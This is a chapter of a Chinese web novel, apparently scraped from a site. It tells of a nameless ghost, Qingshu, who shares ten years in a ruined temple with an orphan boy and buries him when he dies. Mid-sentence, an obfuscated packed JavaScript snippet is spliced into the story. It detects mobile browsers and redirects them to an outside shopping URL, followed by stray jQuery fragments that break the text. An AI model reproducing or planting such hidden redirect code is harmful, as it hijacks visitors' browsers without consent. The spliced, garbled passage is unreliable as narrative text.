4. 厉鬼青束十年
作品:《久久歌》 他醒来时迷茫的望着游人畔,忍不住的四处张望,他感觉自己好像什么都知道,又好像什么都不知道,这感觉很奇怪。
因为他知道这里是游人畔。这里活人没有,死人不多,是鬼怪度轮回的地方,却又一时想不清为什么。
他站起身来,手心里一阵刺痛,翻过来看,那里俨然写了一个“束”字。
这个字写的真可谓是鲜血淋漓,他甚至可以看到自己的白骨,可血已经不再流了,伤口附近都是发黑。
他不记得自己的名字了,既然手上有个束字,那他便叫束吧,这样刻在自己手上,便是有特别的意义。不过这鬼界,没有名字的鬼都是孤魂,那他便得姓鬼了,就叫鬼束吧。
他一点也不在意也不怪是谁给他刻在了手上。
鬼束跌跌撞撞的爬起来,走出了游人畔,许多厉鬼都对他爱答不理的。那时候他还没想过去人间,只是觉得走到哪里都无聊极了,无事可做,肚子也很饿。
他随意的躺在大街上,像他这样躺在大街上的“死尸”有许多,再多他一个一点也不奇怪,奇怪的是来找他说话的另一个鬼。
他自然是分不清人鬼,但是能在这地底下的,除了鬼他也没想过其他什么。
“你躺在这里作甚?”他站在鬼束的头顶低头看他,脸上化着大花猫似的妆,极丑,丑到配不上他那一身的青衫。
不过这么久这还是鬼束头一次被问话。
“我想躺在这里。”鬼束也不起来,就这样看着他。
“你在想?”
这话说的就如同他不会想似的,只有那干尸不会再想,他可是还会说会走的活鬼呢。
“我会。”所以鬼束才会这样说道。
那青衫被他逗笑了,蹲下来看着他,那大花脸贴近了几分,更丑了,鬼束也不免嫌弃的看着他,他的几缕头发也落在自己的脸上痒痒的。
“那你想去哪里?”青衫反问他。
想去哪里?这下子鬼束愣了愣,他也不知道自己要去哪里。他要去哪里?他想去哪里?他会说话,会走路,会识文断字,可他要去哪里?
“不知道了吧。”青衫哼哼笑道,一副自己占了上风讨到便宜的模样,“你何不去人间一趟,这鬼界还有你没去过的地方了吗?”
鬼束一双眼睛看着他,他笑起来的时候两边的大腮红也要跟着笑似的,这就和鬼束看见鬼楼里朝他扔手绢的里的女人一样。
青衫见他发神,以为他是在犹豫,就继续道,“人间可好玩了,有许多你没见过的新鲜玩意儿,你知道自己在这里多久了吗?”
多久?鬼束细细的想起来,多久呢,几天?几年了?几百年?他有些记不清了。
“人间是亮的,没有这里这么黑,你可以去看看人,小孩、女人、男人,老人,什么样的人你都可以去看看,你还可以装作人的模样去认识一些朋友。你要是没名字是个孤魂,那我便给你取了名字,你就不再是了,可好?”
“名字?”鬼束终于坐起身来离了那大花脸,“鬼不能给鬼取名字。”
“你觉得我是鬼?”青衫惊讶道,“而且,谁说鬼不能给鬼取名字了?”
对啊,谁说的?鬼束又是一愣。
“况且,我知道你是有名字的,你的手心里单字一个‘束’,我都知道。这青青园中葵,朝露待日晞,你都没见过吧?这都是人间常有,你无姓,便叫青束可好?”
他接受了这个名字,因为这样自己至少不再是孤魂,至少是有了姓,并且在这位大花脸走后又在鬼界不知道呆了多少年,这才辗转去了人间。
人间春华秋实处处好风光,青衫果然没骗他,莺歌燕舞处处随,哪里都是新奇。可是这新奇归新奇,他也终于看见了那些所谓的人,这些人个个不一样,他们哭,他们笑,他们吵闹,分离重聚,都是好生的奇妙。今日这个人走了,明日那个人走了,有时走的是小孩,有时是老人,还有更多不同模样年龄的人,他还从未发现这时间竟然能让人的模样有这么大的变化。
只是这人间的天气诡异,有时下水有时有光,还会飘白白的像棉絮一样的东西。后来他才知道,那叫四季,那是春晓秋冬,那水是雨,光是太阳,棉絮叫雪。
他已经是许久没有吃东西了,个儿也从未长过,他依旧是不想吃人,自己也不知道是为什么。
青束在树干上躺着,肚子咕咕叫,“好饿啊……”
“站住!”
青束一个激灵坐起身,看着一群男人追着一个背着背篼少年。
那少年疯狂逃窜,可前面就是悬崖。
青束痴痴的望着少年白皙的皮肤,他知道这个叫什么,在人间这叫追人,男子喜欢女子,女子喜欢男子,爹娘打骂孩子,人跟在狗后面跑,狗跟在人后跑,这都叫追,可一群男人追一个少年叫什么来着?——这个少年有许多爹吗?
他好奇的跳下树去跟上他们,这已经是他的习惯了,看到新奇就要朝前瞧一瞧。
“别……别过来!”少年已经跑到了悬崖边,喘着粗气看着万丈深渊,石头掉下去从来没有回响。
“还不还钱!”为首的男人举着大长刀,步步紧逼,少年慢慢后退。
“你们觉得我会有钱吗!”少年双颊通红,豆大的汗珠落下。
“没有钱便交命!”男人朝他冲过去,少年一吓,一个后退掉了下去。
“啊啊啊啊啊!——”
那群人皆是一愣,“老大,他……”
为首的头头吞了口水,走到悬崖边缘往下望了望,看着万丈深渊,忍不住连连后退。
“走!”
他们一群人撤退,青束赶紧跑过去。
青束趴在边缘往下望,探出一小截身子,他看到少年死死抓住贴在崖边的藤蔓。
“他下去作甚?他们不是你的爹吗?”青束呆呆的望着他。
“你……”少年望着他有些错愕,“那群人走了吗?你快回去,你这样也会掉下去的。”
青束不管他说的什么,抓住藤蔓往上拉。
“你……你干什么?”
“我看见许多下去的人都死了,不过你这样好看的身边不都是有女人的吗?你为什么要死?”
少年听他这满嘴的怪言,对他道,“你快回去!不用管我!”
青束因为饿着肚子拉他微微吃力,但幸好少年也是轻飘飘的,青束咬咬牙,少年也配合的抓住藤蔓往上爬。
在快要拉上来的时候,藤蔓突然断开,两人皆是一惊,青束一个伸手抓住少年的手腕。
他的力气之大,一瞬间又使出了全部的力气,竟抓的少年有些疼。
“谢谢你……不过,你拉不上来的,放、放手吧。”
“你为什么不娶女人?”青束问道,随后一鼓作气,把少年拉起来,少年蹬着岩壁往上爬。
他们躺在地上仰天喘气,青束只觉得两眼昏昏,开始有些恍惚。少年看了看手上被抓出印记,也不管他刚才胡言什么了。
“你、你没事吧?”少年把青束拉起来。青束看了看少年的手。
“好饿啊……”
“什么?”少年贴近青束。
“好饿……”
“饿?”少年一愣神,这才开始注意青束衣衫褴褛,浑身有些脏兮兮,“我、我还有一个包子,你要是不嫌弃……”少年把背篓放下,从里面拿出一个被包的严严实实的布,打开,里面一个菜包子。
青束一下子坐起身,眼睛里发光的看着包子,他自然知道这是包子的,他也吃过,好心的人见他可怜会扔给他一个,可也有其他人看见他会把他撵走,这少年不是卖包子的,却是给了他一个包子,所以他有些弱弱的问,“我可以吃吗?”
“诶?”少年傻兮兮的看着菜包子,“你要是不嫌弃,就吃吧。”
话落,得到允可,青束便抓起包子狼吞虎咽的吃了起来。
“你慢点。”少年无奈的笑笑。可是青束依旧没几口便把包子吃完了。“你叫什么名字?”
青束咂咂嘴,然后再舔了舔手,“青束。”
“诶,别舔手啊。”少年急忙抓住他的手,“我、我不识字,从小没人教我……”
青束看看他,依旧是吞吞口水,却拿起一旁的树枝,在地上写。
青束。
“你的字写的好看。”少年看着,略带羡慕的神情。
“你叫什么?”青束问他。
少年不好意思的挠挠头,“我从小是个孤儿,被养父母带大的……他们欠钱逃跑了,没带上我……”
青束听着那句“没带上我”,心里又是一阵疑惑。
“他们都叫我小白脸……”
“啊?”据青束所知道,小白脸和大花脸不同,小白脸是鬼界的吊死鬼,在人间他看到的小白脸是满是男人的馆子里被女人打得那个。他的学习能力强,在人间时看到先生教自己的学生,自己路过了都会学些。
他记得一位先生说的“问姓惊初见”,却是不知道后面是什么,只知道那位先生说见到一位不认识的人惊忙的询问他的姓名,于是青束对他道:
“你可以叫初见吗?”
“初见?”少年愣愣,青束从他的表情中看到了迷茫与窘迫,他又拿起树枝,在自己的名字旁边写。
初见。
少年认真的看着青束写的这四个字,默默记住。
初见最后再仔细打量他,“你有去处吗?”
青束摇头,他现在依旧是很饿。
“我……我现在也是一个人,住在一间无人问津的破庙里,要是你愿意和我一起……”
“我和你?”青束望着他。他知道的“一起”是男人和女人一起,“愿意”也是男人和女人之间的询问与请求。
“你要是不愿意的话……那、那……”
“我可以和你一起?”青束依旧望着他,他在过去的几百年里,努力克制自己不要去违反了人间规则,每天饿着肚子,也一直是居无定所,四处漂泊。
“嗯!我们以后互相也可以有个照料!”初见脸上难掩的兴奋。
“那我们是在一起了吗?”青束继续问道。
初见也不知道他的在一起是什么,他便是认为青束问他是不是在一起互相照应,便点头。
“有吃的吗?”男人女人在一起后吃饭也是一起吃的。
“嗯……有是有,不过会有些难……吃的不是很好。”
“会一起睡觉吗?”男人和女人在一起后是睡一张床的。
“如果你,你冷的话也可以,庙里可能不怎么暖和。”
“好。”青束毫不犹豫的回答他,“那我们在一起吧。”人间里凡人成双的有许多,有时可能还不止是两个,可能一个男人还会有许多的女人,虽然他不是女人不是男人,也不是人,他依旧对初见道,“那你不能再去找别人了。”
初见站起身来,衣裳也没来得及拍,朝他伸出手,“你别怕,我就只和你在一起,我们回家,青束。”他想,恐怕也只有青束愿意和他一起,至少往后有人陪,多一张嘴他也不嫌弃,只要是有另一个人愿意陪着他。
青束有些傻愣愣的坐在了原地,已经太久没有人叫他名字了,也从未有人叫过他回家,不,他连家都没有。
“别坐在地上,会着凉的,我们走吧。”初见怕他后悔,把他拉起来,牵着他。
“一个人太久了,难免孤独。青束今年多少岁了?”初见拉着他边走边问,这一问,可把青束问住了,他伸出自己的另一只手,一个手指一个手指的数着,初见继续道,“我今年就快要十六了,青束就当是提前送给我的生辰礼吧。”
生辰礼?青束发现和初见一起,有许多他需要思考的东西。
“嗯……”虽然是鬼,但青束说话还是要经脑子的,差点说自己不是东西,又想着自己是东西,便没有说出口自己到底是不是东西,开始思考自己是不是东西。
“青束看起来不是很大,是不是和我差不多啊?应该要小点。”他一路上一直在说,一直说到他们走到了破庙。
“这座庙已经荒废了,听说以前供的是风水师,管收成,后来这里连连大旱,庄稼也没了,收成也没了,便没有人奉他,也被人遗忘了。”初见放下背篓,青束走进去,直接坐到草甸子上,像是一种习惯了。
可只见初见放下了背篓,便去叩拜那风水师,嘴里对青束解释道:“无论如何都是神,神是受人尊敬的,不管他能不能感应到我的祈福,多为自己求福到底是好的。”
青束好奇的看着他。
他一拜完,就把背篓里的草药全部拿出来。
“你身体很虚弱吗?”青束问。
“啊?……倒不是,可能因为家里的情况吧,以前就吃吃什么烂掉的东西……”
“哦。”青束淡淡应一声,随手拿起一片草药,他看见许多吃烂东西死掉的人,“你都认识这些吗?”
“不认识。没事的,我以前就吃这些,都已经一个一个试出来了,哪些有毒,哪些没毒,我都大致已经知道了。”
青束挪挪屁股到初见面前,“那你告诉我,哪些是好的,哪些是坏的,我可以记住,我以后也可以帮你一起上山。”男人女人在一起,家务是要分担的。
“你……以后要和我一起上山吗?”初见有些不敢相信。
“我们不是在一起了吗?”青束说,“那些爹还会来找你吗?”
“那些不是爹……是追债的人。估计他们都以为我已经摔下去死了吧。”初见的笑有些凄楚,青束想来,这也许就是凡人在困苦时候常有的表情,这表情中总是要装载他们何其多的心绪。
“他们要是再来,我便帮你打跑他们。”青束把自己转化成男人,初见转化成女人,一个男人是要保护自己的女人的。
初见哈哈一笑,“我们不去惹他们,他们便不会来找我们。你不要怕,我们现在捆在一起,我让自己挨饿,也不会让你再挨饿。我会待你亲人一般。”
“亲人?”青束的手顿了顿,夫妻也是亲人吗?好像在一起就是亲人了。
“青束以前的日子也不好过吧。”他边整理着药草,边对青束说。
这又是头一回有人这样对青束说,不过不是问,不需要他再思考。初见说的不好过是何种?是肚子饿还是被人打?
于是他只好说,“我没有睡觉的地方。”
“那你现在有睡觉的地方了。”他温柔笑笑。
青束望着他有些呆,这是他流浪几百年,看到的人间最温柔的笑,他的笑比夏天的鱼儿的亲吻还温柔,他没有任何鬼界厉鬼们千万的皮伪装,也没有其他凡人的虚假与牵强,他的笑就是笑,是青束看见一个人对另一个人笑,却是从来不会对自己的笑。
你可以再对我笑笑吗?说出口前,青束把自己的话给咽下去了,他知道夫妻之间应该互相理解,万一他不想再笑呢?
他们之后一直相安无事,除了每日都要上山采草药遇到各种苦难,之后也都没了什么大惊小怪。他们勉勉强强的过着日子,还要到街市上买草药遇到各种刁难,可是毫不厌倦,每一天都过得很新鲜。
这个新鲜当然是青束学会了打人,不过就是个小孩子闹闹而已,向来吃亏的是自己,因为他不知道打了他们是不是犯了人间的戒规,害怕有人会把他抓回去关着。只是这些小孩太讨厌了,他们总要向初见扔石头说初见的不好,初见是和他在一起的人,自然不能让他受委屈。
一年,两年,三年。
“青束还是没有长高啊……我都长高一点了,看来青束还是要多吃点。”他摸了摸青束的脑袋,很是苦恼的说。
青束微微抬头望了望
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16990881|193699||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
他,淡淡的应了句,“嗯。”也是平生第一次嫌弃自己长不高让初见担忧,在人间长不高的人,是没有营养的小孩,和要死的人。
四年,五年。
他和初见一起跪在风水师像前。
“今年又是大旱。哎,老天爷也不管这个地方了吗……”初见低下头,微微叹息。
不知是不是青束的错觉,青束看着他,却他总是时不时的在初见身上看到他冒出死亡的黑气。
六年,七年,八年。
“青束生辰快乐。”初见拿开蒙在青束视线的手,青束睁开眼。
两个包子,一个苹果,一碗面。
“我怎么会吃的完。”青束微微皱眉,他坐下,首先就端起面,这碗面清淡无比,除了菜叶,却又一个蛋。“你买了蛋?”他盯着初见,蛋是补营养的。
“别怕,这几天草药买的好,还有剩的钱。”初见拍拍他的背。
青束张开嘴不知道说什么。
“你快吃,今天是你的生辰,高兴点,一年就只有一次。”初见把他和青束第一次相遇那天,当做青束的生辰,每年都要照常过,但是他自己的生辰,青束总要忘记,虽然时间相隔不远,可初见也从来没说过。
初见似乎从青束的表情中看到了内疚,“阿束其他的不用管,在我看来,阿束已经是我十六岁,不是,是我这辈子唯一的生辰礼了。快吃吧。”
青束酸楚,握紧用树枝做的筷子,狼吞虎咽的吃起来。他觉得这叫无私。
九年。
“咳咳!”初见捶着胸口,青束担忧的看着他,拿了更多的枯草搭在他的身上。
“青束不要担心,人都是这样。我只是怕……青束又要一个人了。”他笑笑,“幸好阿束没有生病,不然我都要后悔死。”
青束看着他,“好不了了吗?”青束也看到过无数人像初见这样,整天苦度日,而他们都在不久后都死了,是再也不会出现的死。
“人都是这样,生老病死。”他望着屋顶,“哎,阿束以后怎么办……”他声音越来越小,闭上眼睛睡着了。
青束想要抓住他的手,再说几句安慰的话,却是什么也没做,彻夜的在他身边,他知道这叫陪伴。
十年。
今天七月半鬼节,阴气很重,青束看着经过庙前的鬼魂,把门关上。
“青束……”这一声喊的极其微弱,要不是四周安静,青束便是听不到了。
“我在。”青束跑到他身边坐下,这两个字青束每次找不到初见的时候,初见都会这样说。
他握住青束的手,冰冷的可怕,“对不住……阿束还是要一个人。”他依旧在笑。
青束微微一怔,“我,我还是要一个人?”男人死了媳妇可以另外找个女子,女子没了相公也可以,但他们也可以不找,但会守着他们的坟,初见的意思是要让他等到自己死后为他守坟不去找别人吗?
“阿束要乖乖长大,要长高……才不会在一个人的时候被欺负了……”原来他都知道,青束一个人出去的时候,也会经常被嘲笑,不仅是因为他矮,而且他看着也好欺负,他们便拉帮结派的来找青束的麻烦。
“幸好我家阿束脾气好,不然他们都要哭着回去找爹妈告状,不过那样,事情好像会闹得更大,我的阿束怎么从不找我告状啊……咳。”他憋着一口气说完一整句,青束把手放在他的胸口给他顺气。
“可不可以,可不可以不这样?”青束的声音有些委屈,有些沙哑,他知道要挽回一个人的时候就该这样,博得同情,博得可怜。
“就像当初,阿束说可不可以和我一起一样……”他闭上眼,“一样让人心疼。阿束的眼睛好干净,青束就那样用他那双眼睛望着我。青束青束,初见初见……”他嘴角上扬,嘴里喃喃,“生辰才没过多久,要好生笑笑,不高兴了我就舍不得了……”
他也想要握紧青束的手,可只是微小到让青束也无法察觉。
“阿束……”他渐渐没了声。
青束微微吐气,闭上眼,再睁开,“我在。”这句过后,没了回应,破庙里只剩青束一个的喘气声,没了初见,突然安静的可怕,安静到青束不习惯。
这叫生离死别吗?可他是鬼啊,怎么离,怎么别?人有挂念就会成为孤魂野鬼,那他刚才是不是应该不高兴,让初见挂念他?不行,若是初见不想成为鬼怎么办?他应该要去度好轮回才对。
他看着初见睡得安详的脸,这大抵是他睡得最舒适的一次,甚至不愿醒来。青束的胸口闷的不行,比饿肚子想要吃人却又不想的时候还要难受,难受到上气接不了下气。
十年对他来说不过弹指一挥间,他更是十年都未曾提起那句“你可以再对我那样笑笑吗”。便是初见病重之际,他也知道不能为难初见。
他跪拜风水神,他背起僵硬的初见出了破庙,又到了破庙不远处的一棵树下。
初见每年给他过生辰,过了十年,却谁也不知道青束到底是多少岁生辰,便这样稀里糊涂的过着。
青束把初见放下靠在树上,他开始用手挖土。
他常在人间看到,人死后要入土为安。他一个人孤零零的挖着,初见在旁边像是陪着他一样,只是不言不语,中元节下了这个荒废小镇十几年来最酣畅淋漓的雨,青束急忙把外套脱下搭在初见身上。这场迟到的雨,让初见受冷,让青束挖土挖的极其顺利,这雨恐怕憋了十年等待这一天,青束浑身打湿,初见浑身也被打湿,他漫无目的的一直往下挖,等他挖地三尺,他无神的看着这块地,看看自己的手,傻愣了好一会儿,才把初见抱进去。
他们做鬼的,哪有凡人如此多的情感,但他们爱便爱,恨便恨,悲伤就是悲伤,他们情感单一,并不会想凡人这样如此多娇。
就如同现在的青束,他很是悲伤,可悲伤就是悲伤,悲伤过后便是不舍,不舍便是不舍,他这几百年不是顺风顺水,也不是几经波折,更多的是麻痹,如果凡人的多娇让他感受几百年的炎凉,他现在可能就跪在这里哭天喊地,可是凡人给了他太多麻痹。初见十年怎么给的清。
但他确实很难过,只是,不知道是怎样的难过。
“你说过我可以和你一起。”他举起左手打量,伸出小指,将它折断。
皮肉分离,青束吸一口凉气,没过多久,小指就又再生起来,完好无损。
青束将小指放在初见手心让他握紧,“你要是渡了轮回,就带着它来找我,好不好?初见。”青束将土掩上,“我去等你,等着了我们就一起回家好不好?然后我们就可以继续在一起了,我也不找别人。”青束笑着说。
“到时候,我去接你。”青束起身,这是他几百年第一次回到鬼界。
他回到鬼界,在他看来,他只是换了个地方流浪。他也不作乱,喜欢吃菜包子,从不犯鬼界规矩开荤。
他流浪的地方有了限制,回到了他当初醒来的地方,始终在游人畔附近,他整天死死盯着来来往往的鬼魂,无论是出去的还是进来的,只是时不时有鬼会闻到他身上的烟火味儿,来找他茬,把他抓去做苦力,他反抗不得,但始终会回来。
他等了三个轮回,没有等到初见。
他开始焦虑,开始在人间寻找,他想要回到破庙,破庙塌了,早就成了荒地无人管理,他想去那棵树下,树也没了,什么痕迹都已经被时间磨平,什么也没有给他留下。
他想要在人间重新找到他,又是几百年的流浪,八佰找到了他。
“我在天上可是关注你很久了,你不做乱,不惹事,倒像是在等谁?”八佰笑道。“我知道你有要找的人,但你身为厉鬼,要在人间和鬼界找,何不成神?我可以帮助你,神域有关于三界所有世事的了事阁,你必定可以查到你想找的人。”
青束望着他,眼里早就被无尽的等待磨得没了生气。

